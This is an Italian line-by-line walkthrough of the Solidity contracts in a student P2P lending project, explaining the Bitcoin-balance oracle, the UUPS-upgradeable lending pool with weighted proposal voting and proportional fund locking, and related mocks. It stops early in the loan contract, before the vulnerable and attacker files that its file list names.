Spiegazione riga per riga del codice

Questo documento copre **ogni file .sol e .py** del progetto P2PBC 2025/26 con annotazione riga per riga. Ogni tabella ha tre colonne: **L#** (numero o intervallo di righe), **Codice** (testo della/e riga/righe), **Spiegazione** (cosa fa e perché). Per costanti, blocchi strutturali o righe identiche raggruppate, l'intervallo copre più righe.

Riferimenti incrociati al documento di consegna sono segnati come **Spec §x.y**.

File coperti:

• contracts/BitcoinOracle.sol (71 righe)

• contracts/LendingPool.sol (~455 righe, post-pulizia dead code)

• contracts/LoanContract.sol (~517 righe)

• contracts/LocalProxy.sol (12 righe)

• contracts/mocks/MockBitcoinOracle.sol (19 righe)

• contracts/mocks/LendingPoolV2.sol (33 righe)

• contracts/vulnerable/LendingPoolVulnerable.sol (151 righe)

• contracts/vulnerable/ReentrancyAttacker.sol (59 righe)

• oracle/oracle_service.py (221 righe)

• scripts/InitialSetup.py (316 righe)

• scripts/DemoOperations.py (570 righe)

• scripts/AutoVoter.py (278 righe)

• scripts/GasMeasurement.py (820 righe)

contracts/BitcoinOracle.sol

L#	Codice	Spiegazione
1	`// SPDX-License-Identifier: MIT`	Identificatore di licenza richiesto dal compiler.
2	`pragma solidity ^0.8.22;`	Versione minima solc 0.8.22. ^ permette patch ma non minor.
3		Riga vuota di separazione.
4	`contract BitcoinOracle {`	Inizio definizione contratto. Endpoint on-chain dell'oracolo (Spec §1.4).
5	`uint256 public constant MIN_ORACLE_FEE = 4566700000000;`	Fee minima per requestUpdate: 45667 × 0.1 gwei (Spec §1.3). Calibrata sul gas SSTORE su slot zero (Gsset=20000).
6	`uint256 public constant BTC_ETH_RATE = 30;`	Tasso fisso 1 BTC = 30 ETH (Spec §1.3).
7	`uint256 public constant SATOSHI_PER_BTC = 1e8;`	Denominatore per conversione satoshi → BTC.
8		Riga vuota.
9	`address public immutable operator;`	Operatore autorizzato a chiamare update(). Settato al deploy, immutabile.
10		Riga vuota.
11	`// keccak256(abi.encodePacked(btcAddressString)) => satoshi balance`	Commento spiega chiave/valore della mapping.
12	`mapping(bytes32 => uint256) private balances;`	Mapping hash-address-BTC → saldo in satoshi. Private (esposta solo via getBalance).
13		Riga vuota.
14-17	`event UpdateRequested(bytes32 indexed btcAddressHash, address indexed requester);`	Evento emesso quando un utente paga la fee per richiedere update. Letto dal daemon Python.
18	`event BalanceUpdated(bytes32 indexed btcAddressHash, uint256 newBalance);`	Evento emesso quando operator scrive il nuovo saldo. Confermato a DemoOperations.py.
19		Riga vuota.
20	`constructor() {`	Costruttore senza argomenti.
21	`operator = msg.sender;`	Chi deploya il contratto diventa operator immutabile. In InitialSetup.py è oracle_operator.
22	`}`	Fine costruttore.
23		Riga vuota.
24	`modifier onlyOperator() {`	Inizio modifier.
25	`require(msg.sender == operator, "Only operator can call this");`	Guard: solo l'operator può eseguire la funzione che applica il modifier.
26	`_;`	Continua esecuzione body.
27	`}`	Fine modifier.
28		Riga vuota.
29	`// Borrower paga la fee → oracle Python ascolta l'evento e aggiorna il saldo`	Commento di flusso applicativo.
30	`function requestUpdate(bytes32 btcAddressHash) external payable {`	Funzione payable pubblica per richiedere aggiornamento di un address Bitcoin.
31	`require(msg.value >= MIN_ORACLE_FEE, "Fee too low");`	Verifica fee minima (Spec §1.3).
32	`emit UpdateRequested(btcAddressHash, msg.sender);`	Emette evento per il daemon off-chain. Niente stato cambia: solo segnalazione.
33	`}`	Fine funzione.
34		Riga vuota.
35	`// Oracle Python chiama questa dopo aver letto i blk.dat`	Commento di scopo.
36-39	`function update(bytes32 btcAddressHash, uint256 satoshi) external onlyOperator {`	Scrittura del saldo. Solo operator. Argomenti: hash address + balance in satoshi.
40	`balances[btcAddressHash] = satoshi;`	Salva il saldo nella mapping. Trigger SSTORE (caro su slot zero, da cui formula MIN_ORACLE_FEE).
41	`emit BalanceUpdated(btcAddressHash, satoshi);`	Emette evento. DemoOperations.py aspetta questo evento via eth_getLogs.
42	`}`	Fine funzione.
43		Riga vuota.
44-46	`function getBalance(bytes32 btcAddressHash) external view returns (uint256) {`	View accessorio: legge il saldo memorizzato.
47	`return balances[btcAddressHash];`	Ritorna il valore (default 0 se mai scritto).
48	`}`	Fine.
49		Riga vuota.
50	`// satoshi * 30 ETH / 1e8 → wei equivalent`	Commento formula conversione.
51-53	`function getEthEquivalent(bytes32 btcAddressHash) external view returns (uint256) {`	Conversione: ritorna l'equivalente in wei. Usata da LendingPool.resolveProposal per il check di liquidità (Spec §1.4).

L#	Codice	Spiegazione
54-56	`return (balances[btcAddressHash] * BTC_ETH_RATE * 1 ether) / SATOSHI_PER_BTC;`	Formula: sat × 30 × 1e18 / 1e8 = wei. Ordine moltiplicazione prima della divisione preserva precisione.
57	`}`	Fine.
58		Riga vuota.
59	`// utility: hash stringa BTC address → chiave bytes32`	Commento utility.
60-62	`function hashBtcAddress(string calldata btcAddress) external pure returns (bytes32) {`	Helper pure: ritorna l'hash che funge da chiave nella mapping.
63	`return keccak256(abi.encodePacked(btcAddress));`	keccak256 della stringa. La stessa formula usata off-chain da oracle_service.py via Web3.keccak(text=...).
64	`}`	Fine.
65		Riga vuota.
66	`// operator ritira le fee accumulate`	Commento scopo.
67	`function withdrawFees() external onlyOperator {`	Solo operator. Drena le fee raccolte dalle requestUpdate.
68	`(bool ok, ) = operator.call{value: address(this).balance}("");`	Trasferisce l'intero balance del contratto verso operator via low-level call.
69	`require(ok, "Withdraw failed");`	Revert se trasferimento fallisce.
70	`}`	Fine.
71	`}`	Fine contratto.

contracts/LocalProxy.sol

L#	Codice	Spiegazione
1	`// SPDX-License-Identifier: MIT`	Licenza.
2	`pragma solidity ^0.8.22;`	Pragma.
3		Vuota.
4-7	`// Re-export of OpenZeppelin's ERC1967Proxy so hardhat compiles it locally // with the project's evmVersion (paris by default for solc 0.8.22). The // node_modules artifact may be pre-compiled with shanghai → emits PUSH0 → // runtime "invalid opcode: PUSH0" on Berlin/pre-Shanghai chains.`	Commento di rationale: ricompilazione locale necessaria perché evmVersion del proxy precompilato in node_modules è shanghai, ma la genesis è Berlin → PUSH0 non riconosciuto.
8	`import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";`	Import del proxy ufficiale OpenZeppelin.
9		Vuota.
10	`contract LocalERC1967Proxy is ERC1967Proxy {`	Sotto-classe che eredita tutto da ERC1967Proxy. Solo per forzare compilazione locale.
11	`constructor(address impl, bytes memory data) payable ERC1967Proxy(impl, data) {}`	Costruttore che inoltra address dell'implementation e calldata di initialize al parent. Payable perché ERC1967Proxy lo richiede.
12	`}`	Fine.

contracts/mocks/MockBitcoinOracle.sol

L#	Codice	Spiegazione
1	`// SPDX-License-Identifier: MIT`	Licenza.
2	`pragma solidity ^0.8.22;`	Pragma.
3		Vuota.
4	`/// Minimal stand-in for BitcoinOracle used in LendingPool tests.`	Docstring: serve solo per i test JS.
5	`contract MockBitcoinOracle {`	Definizione contratto.
6	`uint256 public constant MIN_ORACLE_FEE = 4_569_100_000_000;`	Costante fee (valore arbitrario per il mock; non rigorosamente correlata al gas reale).
7		Vuota.
8	`mapping(bytes32 => uint256) private _ethEquivalents;`	Mapping privata che salva direttamente il valore in wei (saltando la conversione satoshi→ETH).
9		Vuota.
10	`function setEthEquivalent(bytes32 hash, uint256 value) external {`	Setter senza access control (solo test). I test pre-popolano per simulare check liquidità passa/fail.
11	`_ethEquivalents[hash] = value;`	Scrive.
12	`}`	Fine.
13		Vuota.
14	`function getEthEquivalent(bytes32 hash) external view returns (uint256) {`	Stessa firma del contratto reale: il LendingPool non distingue mock da production.
15	`return _ethEquivalents[hash];`	Legge.
16	`}`	Fine.
17		Vuota.
18	`function requestUpdate(bytes32) external payable {}`	No-op payable: matcha la signature del contratto reale. Il fee non viene controllato.
19	`}`	Fine contratto.

contracts/mocks/LendingPoolV2.sol

L#	Codice	Spiegazione
1-2	`// SPDX-License-Identifier: MIT pragma solidity ^0.8.22;`	Licenza + pragma.
3		Vuota.
4	`import "../LendingPool.sol";`	Importa il contratto v1 per ereditarne tutta la logica.
5		Vuota.
6-14	`/// Mock v2 used by test/Upgradability.test.js...`	Docstring: rationale dell'upgrade. Storage layout: lo slot appended è safe perché Solidity alloca dopo l'ultimo slot del parent.
15	`contract LendingPoolV2 is LendingPool {`	Eredita LendingPool. Tutto lo stato e i metodi v1 sono disponibili.
16	`uint256 public extraSlot;`	Nuova variabile di stato. APPENDED dopo lo storage v1 — non rompe layout UUPS.
17		Vuota.
18-22	`/// Reinitializer for the new v2 storage...`	Docstring: OZ richiede un initializer (anche no-op) per ogni nuovo layout.
23	`/// @custom:oz-upgrades-validate-as-initializer`	Annotazione OZ.
24	`function initializeV2() external reinitializer(2) {}`	Reinitializer di versione 2. reinitializer(N) può eseguire una sola volta dopo la versione N-1. Body vuoto.
25		Vuota.
26	`function version() external pure returns (string memory) {`	Nuova funzione pure.
27	`return "v2";`	Ritorna stringa.
28	`}`	Fine.
29		Vuota.
30	`function setExtra(uint256 v) external {`	Setter su extraSlot (senza access control).
31	`extraSlot = v;`	Scrive.
32	`}`	Fine.
33	`}`	Fine contratto.

contracts/LendingPool.sol (cuore del sistema)

Contratto principale UUPS-upgradeable. ~475 righe; annotazione riga per riga.

L#	Codice	Spiegazione
1-2	`// SPDX-License-Identifier: MIT pragma solidity ^0.8.22;`	Licenza + pragma.
3		Vuota.
4	`import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";`	Trait Initializable: gestisce one-shot initialization via modifier.
5	`import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";`	UUPS pattern: logica di upgrade nell'implementation.
6	`import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";`	Owner pattern UUPS-compatibile.
7		Vuota.
8	`import "./LoanContract.sol";`	Per istanziarlo in resolveProposal.
9		Vuota.
10-16	`interface IBitcoinOracle { ... }`	Interfaccia minima dell'oracolo: solo le funzioni invocate.
17		Vuota.
18	`contract LendingPool is Initializable, UUPSUpgradeable, OwnableUpgradeable {`	Triplice ereditarietà UUPS standard.
19	`// manual reentrancy guard (OZ v5 removed ReentrancyGuardUpgradeable)`	Commento: OZ v5 non offre più il guard upgradeable.
20	`uint256 private _reentrancyStatus; // 1 = free, 2 = entered`	Slot del flag di re-entry. 1=libero, 2=dentro chiamata.
21	`// ■■ Constants ■■■■■■■■■■■■■■■`	Divider.
22		Vuota.
23	`uint256 public constant MIN_DEPOSIT = 100_000; // wei`	Spec §1.3: deposito minimo 100k wei.
24	`uint256 public constant INITIAL_COLLATERAL_PCT = 50;`	Valore iniziale (Spec §1.3).
25	`uint256 public constant PROPOSAL_VOTING_PERIOD = 12; // blocks`	Periodo di voto: 12 blocchi (Spec §1.3).
26	`uint256 public constant COLLATERAL_STEP = 5;`	±5 fail/success.
27		Vuota.
28	`// ■■ State ■■■■■■■■■■■■■■■`	Divider.
29		Vuota.
30	`IBitcoinOracle public oracle;`	Address oracle (set in initialize).
31		Vuota.
32	`uint256 public totalFundingPool;`	Somma depositi (anche lockati). NON cala con lock.
33	`uint256 public totalLocked;`	Somma quote bloccate.
34	`uint256 public compensationPool;`	Saldo comp pool (Spec §1.2).
35	`uint256 public collateralPercentage;`	Valore corrente 1-100.
36		Vuota.
37	`mapping(address => uint256) public deposits;`	Posizione di ogni contributor.
38	`mapping(address => uint256) public lockedValue;`	Quota lockata.
39		Vuota.
40	`mapping(address => bool) public isActiveLoan;`	Registro LoanContract attivi (per onlyActiveLoan).
41		Vuota.
42	`// ■■ Proposal state ■■■■■■■■■■■■■■■`	Divider.
43		Vuota.
44-48	`enum ProposalStatus { Active, Approved, Rejected }`	Stati 0/1/2.
49		Vuota.
50	`struct Proposal {`	Definizione struct.
51	`address applicant;`	Chi ha proposto.
52	`uint256 amount;`	Quantità ETH richiesta.
53	`uint8 interestRate; // 1-100`	Tasso (Spec §1.3).
54	`uint256 duration; // blocks`	Durata.
55	`bytes32 btcAddressHash;`	Hash address BTC (prova liquidità).
56	`uint256 submittedBlock;`	Block submission.
57	`ProposalStatus status;`	Stato corrente.
58	`address[] approveVoters;`	Voter APPROVE (per weighted sum).
59	`mapping(address => bool) hasVoted;`	Anti-doppio voto.
60	`mapping(address => bool) voteApprove;`	Salva scelta.
61	`}`	Fine struct.
62		Vuota.

L#	Codice	Spiegazione
63	`uint256 public proposalCount;`	Counter — prossimo proposalId.
64	`mapping(uint256 => Proposal) internal _proposals;`	Storage proposte. Internal perché contiene mapping (no getter auto).
65		Vuota.
66	`// ordered list of all addresses that have ever deposited`	Commento.
67	`address[] private _contributorList;`	Lista per arrivo, iterata in resolveProposal.
68	`mapping(address => bool) private _contributorTracked;`	Set: un solo append per address.
69		Vuota.
70	`// ■■ Events ■■■■■■■■■■■■■■`	Divider.
71		Vuota.
72	`event Deposited(address indexed contributor, uint256 amount);`	Evento.
73	`event Withdrawn(address indexed contributor, uint256 amount);`	Evento.
74	`event LoanRegistered(address indexed loanContract);`	Evento.
75	`event LoanDeregistered(address indexed loanContract);`	Evento.
76	`event CollateralPercentageChanged(uint256 newValue);`	Evento.
77-81	`event ProposalSubmitted(uint256 indexed proposalId, address indexed applicant, uint256 amount);`	AutoVoter.py intercetta questo evento.
82-86	`event ProposalVoted(...)`	Voto registrato.
87-91	`event ProposalApproved(uint256 indexed proposalId, address indexed loanContract, uint256 loanedAmount);`	Approvazione. Espone l'address del nuovo loan.
92	`event ProposalRejected(uint256 indexed proposalId);`	Rigetto.
93		Vuota.
94	`// ■■ Constructor / Initializer ■■■■■■■■■■■■■■`	Divider.
95		Vuota.
96	`/// @custom:oz-upgrades-unsafe-allow constructor`	Annotazione OZ: costruttore voluto.
97	`constructor() {`	Solo per disabilitare init sull'impl.
98	`_disableInitializers();`	Impedisce init diretta bypassando il proxy.
99	`}`	Fine.
100		Vuota.
101	`function initialize(address _oracle) external initializer {`	Init via proxy. Modifier initializer = one-shot.
102	`__Ownable_init(msg.sender);`	Owner = deployer del proxy.
103	`_reentrancyStatus = 1;`	Free state.
104	`oracle = IBitcoinOracle(_oracle);`	Salva oracle.
105	`collateralPercentage = INITIAL_COLLATERAL_PCT;`	Valore iniziale 50.
106	`}`	Fine.
107		Vuota.
108	`// ■■ Modifiers ■■■■■■■■■■■■■■`	Divider.
109		Vuota.
110	`modifier nonReentrant() {`	Inizio.
111	`require(_reentrancyStatus != 2, "Reentrant call");`	Revert se ri-entrata.
112	`_reentrancyStatus = 2;`	Marca.
113	`_;`	Body.
114	`_reentrancyStatus = 1;`	Reset.
115	`}`	Fine.
116		Vuota.
117	`modifier onlyActiveLoan() {`	Inizio.
118	`require(isActiveLoan[msg.sender], "Not a registered loan");`	Solo loan registrati.
119	`_;`	Body.
120	`}`	Fine.
121		Vuota.
122	`// ■■ Views ■■■■■■■■■■■■■■`	Divider.
123		Vuota.

L#	Codice	Spiegazione
124	`/// ETH not locked in any loan for this contributor`	Docstring.
125-127	`function disposableValue(address contributor) public view returns (uint256) {`	Spec §1.3 disposable value.
128	`return deposits[contributor] - lockedValue[contributor];`	Safe perché invariante lockedValue ≤ deposits sempre mantenuto.
129	`}`	Fine.
130		Vuota.
131	`/// Total ETH in the pool available to back new loans`	Docstring.
132	`function totalDisposable() public view returns (uint256) {`	Pool-level disposable.
133	`return totalFundingPool - totalLocked;`	Differenza.
134	`}`	Fine.
135		Vuota.
136	`/// True if contributor has any funds (including locked)`	Docstring.
137-139	`function isContributor(address addr) public view returns (bool) { return deposits[addr] > 0; }`	Test contributorhood.
140		Vuota.
141	`// ■■ Contributor operations ■■■■■■■■■■■■■■`	Divider.
142		Vuota.
143	`function deposit() external payable nonReentrant {`	Funzione payable.
144	`require(msg.value >= MIN_DEPOSIT, "Below min deposit");`	Spec §1.3.
145	`if (!_contributorTracked[msg.sender]) {`	Prima volta?
146	`_contributorTracked[msg.sender] = true;`	Marca.
147	`_contributorList.push(msg.sender);`	Append all'array.
148	`}`	Fine if.
149	`deposits[msg.sender] += msg.value;`	Accumula deposito.
150	`totalFundingPool += msg.value;`	Aggiorna pool.
151	`emit Deposited(msg.sender, msg.value);`	Evento.
152	`}`	Fine.
153		Vuota.
154	`function withdraw(uint256 amount) external nonReentrant {`	Solo disposable.
155	`require(amount > 0, "Zero amount");`	Validation.
156-159	`require(disposableValue(msg.sender) >= amount, "Insufficient disposable");`	Spec: solo disposable. Implica anche che locked non si tocca.
160	`// checks-effects-interactions`	Commento pattern CEI.
161	`deposits[msg.sender] -= amount;`	EFFECT prima della call.
162	`totalFundingPool -= amount;`	EFFECT.
163	`(bool ok, ) = msg.sender.call{value: amount}("");`	INTERACTION.
164	`require(ok, "Transfer failed");`	Revert se KO. Re-entry bloccata da nonReentrant.
165	`emit Withdrawn(msg.sender, amount);`	Evento.
166	`}`	Fine.
167		Vuota.
168	`// ■■ Oracle interaction ■■■■■■■■■■■■■■`	Divider.
169		Vuota.
170	`/// Forward BTC address update request to oracle; caller pays fee`	Docstring.
171	`function requestOracleUpdate(bytes32 btcAddressHash) external payable {`	Facade.
172	`uint256 fee = oracle.MIN_ORACLE_FEE();`	Legge fee corrente.
173	`require(msg.value >= fee, "Fee too low");`	Verifica.
174	`oracle.requestUpdate{value: msg.value}(btcAddressHash);`	Forwarda intero msg.value all'oracle. Niente residuo nel pool.
175	`}`	Fine.
176		Vuota.
177	`// ■■ Proposal system ■■■■■■■■■■■■■■`	Divider.
178		Vuota.
179-184	`function submitProposal(uint256 amount, uint8 interestRate, uint256 duration, bytes32 btcAddressHash) external returns (uint256 proposalId) {`	Inoltra proposta. Nessun access control.

L#	Codice	Spiegazione
185	`require(amount > 0, "Zero amount");`	Validation.
186	`require(interestRate >= 1 && interestRate <= 100, "Rate out of range");`	Spec §1.3 1-100.
187	`require(duration > 0, "Zero duration");`	Validation.
188		Vuota.
189	`proposalId = proposalCount++;`	Atomic post-incremento.
190	`Proposal storage p = _proposals[proposalId];`	Ref slot.
191-196	`p.applicant = msg.sender; ... p.submittedBlock = block.number;`	Popola 6 campi. status resta Active (default 0).
197		Vuota.
198	`emit ProposalSubmitted(proposalId, msg.sender, amount);`	Evento.
199	`}`	Fine.
200		Vuota.
201	`function vote(uint256 proposalId, bool approve) external {`	Voto.
202	`Proposal storage p = _proposals[proposalId];`	Ref.
203	`require(p.applicant != address(0), "Proposal does not exist");`	Existence check.
204	`require(p.status == ProposalStatus.Active, "Proposal not active");`	Active only.
205	`require(isContributor(msg.sender), "Not a contributor");`	Spec §1.3.
206	`require(!p.hasVoted[msg.sender], "Already voted");`	Anti-doppio.
207		Vuota.
208	`p.hasVoted[msg.sender] = true;`	Marca.
209	`p.voteApprove[msg.sender] = approve;`	Salva.
210	`if (approve) {`	Solo se approve.
211	`p.approveVoters.push(msg.sender);`	Append per weighted sum.
212	`}`	Fine.
213		Vuota.
214	`emit ProposalVoted(proposalId, msg.sender, approve);`	Evento.
215	`}`	Fine.
216		Vuota.
217	`// ■■ Proposal views ■■■■■■■■■■■■■■`	Divider.
218		Vuota.
219-234	`function getProposal(uint256 proposalId) external view returns (...8 fields...)`	View esplicito: ritorna tutti i campi scalari della Proposal.
235	`Proposal storage p = _proposals[proposalId];`	Ref.
236-245	`return (p.applicant, ..., p.approveVoters.length, p.status);`	Tupla 8 valori.
246	`}`	Fine.
247		Vuota.
248-253	`function hasVotedOn(uint256, address) external view returns (bool) { ... }`	View per mapping interna hasVoted.
254		Vuota.
255-260	`function getVoteApprove(uint256, address) external view returns (bool) { ... }`	View per voteApprove.
261		Vuota.
262	`// ■■ Proposal resolution ■■■■■■■■■■■■■■`	Divider.
263		Vuota.
264	`function resolveProposal(uint256 proposalId) external nonReentrant {`	Cuore. nonReentrant per deploy + chiamate.
265	`Proposal storage p = _proposals[proposalId];`	Ref.
266	`require(p.applicant != address(0), "Proposal does not exist");`	Existence.
267	`require(p.applicant == msg.sender, "Not applicant");`	Spec §1.3: solo applicant.
268	`require(p.status == ProposalStatus.Active, "Proposal not active");`	Una sola volta.
269-272	`require(block.number > p.submittedBlock + PROPOSAL_VOTING_PERIOD, "Voting period not over");`	Spec §1.3 'longer than' = strict >.
273		Vuota.
274	`uint256 totalDisp = totalDisposable();`	Snapshot per la math.
275		Vuota.

L#	Codice	Spiegazione
276	`// Early rejection: pool low`	Commento step A.
277	`if (totalDisp < p.amount) {`	Check.
278-280	`p.status = ProposalStatus.Rejected; emit ProposalRejected(proposalId); return;`	Rigetta + esce.
281	`}`	Fine.
282		Vuota.
283	`// Early rejection: BTC liquidity`	Step B.
284	`uint256 btcEth = oracle.getEthEquivalent(p.btcAddressHash);`	Lettura oracle.
285	`if (btcEth < p.amount) {`	Spec §1.4.
286-288	`p.status = ProposalStatus.Rejected; emit ProposalRejected(proposalId); return;`	Rigetta.
289	`}`	Fine.
290		Vuota.
291-293	`// Weighted vote count. Non-voters = NO. Approved iff yes > no.`	Commento math.
294	`uint256 weightedYes = 0;`	Accumulator.
295	`for (uint256 i = 0; i < p.approveVoters.length; i++) {`	Itera approveVoters.
296	`weightedYes += disposableValue(p.approveVoters[i]);`	Peso = disposable corrente (Spec §1.3).
297	`}`	Fine.
298	`if (weightedYes * 2 <= totalDisp) {`	Reject iff yes ≤ totale/2. Tie incluso (Spec §1.3).
299-301	`p.status = ProposalStatus.Rejected; emit ProposalRejected(proposalId); return;`	Rigetta.
302	`}`	Fine.
303		Vuota.
304-306	`// Approved: lock funds proportionally`	Commento math lock.
307	`p.status = ProposalStatus.Approved;`	Stato finale.
308		Vuota.
309	`uint256 n = _contributorList.length;`	Numero contributor.
310	`address[] memory addrs = new address[](n);`	Array memory.
311	`uint256[] memory shares = new uint256[](n);`	Idem shares.
312	`uint256 count = 0;`	Contatore reale.
313	`uint256 loanedAmount = 0;`	Accumulator share effettive.
314		Vuota.
315	`for (uint256 i = 0; i < n; i++) {`	Loop.
316	`address c = _contributorList[i];`	Address.
317	`uint256 disp = disposableValue(c);`	Disp corrente.
318	`if (disp == 0) continue;`	Skip senza disp.
319	`uint256 share = (p.amount * disp) / totalDisp;`	Floor proportional. Spec §1.3.
320	`if (share == 0) continue;`	Skip floor-to-zero.
321	`addrs[count] = c;`	Salva.
322	`shares[count] = share;`	Salva.
323	`loanedAmount += share;`	Accumula.
324	`count++;`	Incrementa.
325	`}`	Fine.
326		Vuota.
327	`// Sort DESC by share, tie ASC by address`	Spec §1.3 waterfall order.
328	`_sortContributors(addrs, shares, count);`	Insertion sort.
329		Vuota.
330	`// Apply locks`	Commento.
331	`for (uint256 i = 0; i < count; i++) {`	Loop.
332	`lockedValue[addrs[i]] += shares[i];`	Lock. deposits[c] non toccato.
333	`}`	Fine.
334	`totalLocked += loanedAmount;`	Aggiorna.
335		Vuota.
336	`// Trim sorted arrays`	Commento.
337	`address[] memory finalAddrs = new address[](count);`	Trim.
338	`uint256[] memory finalShares = new uint256[](count);`	Trim.
339	`for (uint256 i = 0; i < count; i++) {`	Copia.
340	`finalAddrs[i] = addrs[i];`	Copia.
341	`finalShares[i] = shares[i];`	Copia.

L#	Codice	Spiegazione
342	`}`	Fine.
343		Vuota.
344-353	`address loanAddr = address(new LoanContract{value: loanedAmount}(p.applicant, loanedAmount, collateralPercentage, block.number + p.duration, finalAddrs, finalShares));`	Deploya nuovo LoanContract con value=loanedAmount (disbursement). expiryBlock = ora + duration.
354	`isActiveLoan[loanAddr] = true;`	Registra.
355	`emit LoanRegistered(loanAddr);`	Evento.
356	`emit ProposalApproved(proposalId, loanAddr, loanedAmount);`	Evento principale.
357	`}`	Fine.
358		Vuota.
359	`// Insertion sort: DESC by share, tie ASC by address (cheap for small N)`	Commento rationale algoritmico.
360-364	`function _sortContributors(...) internal pure {`	Helper insertion sort.
365	`for (uint256 i = 1; i < count; i++) {`	Pass.
366	`address a = addrs[i];`	Pivot address.
367	`uint256 s = shares[i];`	Pivot share.
368	`uint256 j = i;`	Posizione corrente.
369-372	`while (j > 0 && (shares[j-1] < s || (shares[j-1] == s && addrs[j-1] > a))) {`	Cond shift: prev più piccolo, OR pari ma address più grande (tie ASC).
373	`addrs[j] = addrs[j - 1];`	Shift right.
374	`shares[j] = shares[j - 1];`	Shift right.
375	`j--;`	Decremento.
376	`}`	Fine while.
377	`addrs[j] = a;`	Insert.
378	`shares[j] = s;`	Insert.
379	`}`	Fine for.
380	`}`	Fine funzione.
381		Vuota.
382	`// ■■ Loan lifecycle hooks ■■■■■■■■■■■■■■`	Divider.
383		Vuota.
384-386	`/// Called by loan on base repayment...`	Docstring.
387-390	`function repayLockedValue(address contributor, uint256 amount) external payable onlyActiveLoan {`	Hook: loan restituisce quota base + ETH al pool.
391	`require(msg.value == amount, "Value mismatch");`	Invariante.
392	`require(lockedValue[contributor] >= amount, "Underflow locked");`	Validation.
393	`lockedValue[contributor] -= amount;`	Sblocca.
394	`totalLocked -= amount;`	Aggiorna.
395	`}`	Fine.
396		Vuota.
397	`/// Called by loan on interest distribution: forward msg.value directly to contributor`	Docstring.
398	`function creditInterest(address contributor) external payable onlyActiveLoan {`	Hook gain DIRETTO al contributor (Spec §1.3 'not to the funding pool').
399	`(bool ok, ) = contributor.call{value: msg.value}("");`	Forward.
400	`require(ok, "Interest transfer failed");`	Revert.
401	`}`	Fine.
402		Vuota.
403	`function addToCompensationPool() external payable onlyActiveLoan {`	Hook collateral/overpay/leftover → comp pool.
404	`compensationPool += msg.value;`	Accumula.
405	`}`	Fine.
406		Vuota.
407-415	`/// Drain `amount` from the compensation pool... side-effects on deposits + lockedValue`	Docstring importante: side-effect.
416-419	`function compensateFromPool(address contributor, uint256 amount) external onlyActiveLoan nonReentrant {`	Hook compensazione. Caller passa min(owed, pool).
420	`require(amount > 0, "Zero amount");`	Validation.

L#	Codice	Spiegazione
421	`require(amount <= compensationPool, "Exceeds comp pool");`	Spec §1.3.
422	`require(deposits[contributor] >= amount, "Underflow deposit");`	Validation.
423	`require(lockedValue[contributor] >= amount, "Underflow locked");`	Validation.
424		Vuota.
425	`compensationPool -= amount;`	CEI effect.
426	`deposits[contributor] -= amount;`	Chiude la quota dal pool.
427	`lockedValue[contributor] -= amount;`	Sblocca.
428	`totalFundingPool -= amount;`	Aggiorna.
429	`totalLocked -= amount;`	Aggiorna.
430		Vuota.
431	`(bool ok, ) = contributor.call{value: amount}("");`	Trasferimento.
432	`require(ok, "Compensation transfer failed");`	Validation.
433	`}`	Fine.
434		Vuota.
435	`// ■■ Collateral percentage ■■■■■■■■■■■■■■`	Divider.
436		Vuota.
437	`function increaseCollateral() external onlyActiveLoan {`	Hook fail +5.
438	`uint256 next = collateralPercentage + COLLATERAL_STEP;`	Calcola.
439	`collateralPercentage = next > 100 ? 100 : next;`	Clamp 100.
440	`emit CollateralPercentageChanged(collateralPercentage);`	Evento.
441	`}`	Fine.
442		Vuota.
443	`function decreaseCollateral() external onlyActiveLoan {`	Hook success -5.
444-446	`collateralPercentage = collateralPercentage > COLLATERAL_STEP ? collateralPercentage - COLLATERAL_STEP : 1;`	Clamp 1.
447	`emit CollateralPercentageChanged(collateralPercentage);`	Evento.
448	`}`	Fine.
449		Vuota.
450	`// ■■ Loan registry (owner only) ■■■■■■■■■■■■■■`	Divider.
451		Vuota.
452	`function registerLoan(address loanContract) external onlyOwner {`	Admin override.
453	`isActiveLoan[loanContract] = true;`	Set.
454	`emit LoanRegistered(loanContract);`	Evento.
455	`}`	Fine.
456		Vuota.
457	`function deregisterLoan(address loanContract) external onlyOwner {`	Admin override.
458	`isActiveLoan[loanContract] = false;`	Unset.
459	`emit LoanDeregistered(loanContract);`	Evento.
460	`}`	Fine.
461		Vuota.
462	`/// Loan self-deregistration on close`	Docstring.
463	`function markLoanClosed() external onlyActiveLoan {`	Self-remove.
464	`isActiveLoan[msg.sender] = false;`	Self-rimuove.
465	`emit LoanDeregistered(msg.sender);`	Evento.
466	`}`	Fine.
467		Vuota.
468	`// ■■ UUPS ■■■■■■■■■■■■■■`	Divider.
469		Vuota.
470	`function _authorizeUpgrade(address) internal override onlyOwner {}`	Hook UUPS: solo owner autorizza.
471		Vuota.
472	`// ■■ Receive (loan contracts send ETH for repayments/compensation) ■■■■■`	Divider.

L#	Codice	Spiegazione
473		Vuota.
474	`receive() external payable {}`	Receive vuoto: permette al pool di ricevere ETH plain (es. terminate() del loan).
475	`}`	Fine contratto.

contracts/LoanContract.sol

Contratto per-prestito deployato da resolveProposal. Gestisce disbursement, rimborsi, compensazione, termination. ~517 righe.

L#	Codice	Spiegazione
1-2	`// SPDX-License-Identifier: MIT pragma solidity ^0.8.22;`	Licenza + pragma.
3		Vuota.
4	`interface ILendingPool {`	Interfaccia: dichiarazione delle funzioni di pool che il loan invoca.
5-8	`function repayLockedValue(address contributor, uint256 amount) external payable;`	Hook payable: il loan restituisce wei + signala lo sblocco di una quota.
9	`function creditInterest(address contributor) external payable;`	Hook payable: forward gain diretto al contributor.
10	`function addToCompensationPool() external payable;`	Hook payable: collateral / overpay / leftover finiscono qui.
11	`function decreaseCollateral() external;`	-5 su successful.
12	`function increaseCollateral() external;`	+5 su failed.
13	`function markLoanClosed() external;`	Self-deregistration.
14	`function compensateFromPool(address contributor, uint256 amount) external;`	Hook compensazione: drena comp pool e paga contributor.
15	`function compensationPool() external view returns (uint256);`	View per leggere il saldo del comp pool (usato in requestCompensation per cap).
16	`}`	Fine interface.
17		Vuota.
18-22	`/// Standalone contract deployed by LendingPool when a proposal is approved [R2]. ...`	Docstring: spiega che il contratto è autonomo per singolo prestito e il waterfall di saturazione.
23	`contract LoanContract {`	Inizio.
24-29	`enum Status { Active, Failed, Successful }`	3 stati possibili. Vincoli: Failed → Successful proibito (Spec §1.3).
30		Vuota.
31-34	`struct Contributor { address addr; uint256 initialLocked; }`	Tupla che rappresenta la quota iniziale lockata di ogni contributor.
35		Vuota.
